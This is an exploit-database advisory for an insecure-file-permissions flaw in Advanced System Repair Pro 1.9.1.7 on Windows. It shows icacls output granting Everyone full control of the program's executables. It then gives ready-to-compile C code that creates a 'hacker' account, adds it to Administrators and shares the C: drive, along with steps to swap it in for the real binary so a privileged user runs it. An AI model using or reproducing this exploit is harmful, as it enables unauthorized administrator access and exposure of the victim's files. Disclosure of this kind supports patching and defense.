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Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions Vulnerability
[# Exploit Title: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions
# Exploit Author: ZwX
# Vendor Homepage : https://advancedsystemrepair.com/
# Software Link: http://advancedsystemrepair.com/ASRProInstaller.exe
# Tested on OS: Windows 10
# Proof of Concept (PoC):
==========================
C:\Program Files\Advanced System Repair Pro 1.9.1.7.0>icacls *.exe
AdvancedSystemRepairPro.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
dsutil.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
tscmon.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
#Exploit code(s):
=================
1) Compile below 'C' code name it as "AdvancedSystemRepairPro.exe"
#include<windows.h>
int main(void){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files\\Advanced System Repair Pro 1.9.1.7.0\\~AdvancedSystemRepairPro.exe",0);
return 0;
}
2) Rename original "AdvancedSystemRepairPro.exe" to "~AdvancedSystemRepairPro.exe"
3) Place our malicious "AdvancedSystemRepairPro.exe" in the Advanced System Repair Pro 1.9.1.7.0 directory
4) Disconnect and wait for a more privileged user to connect and use AdvancedSystemRepairPro IDE.
Privilege Successful Escalation
# 0day.today [2024-11-14] #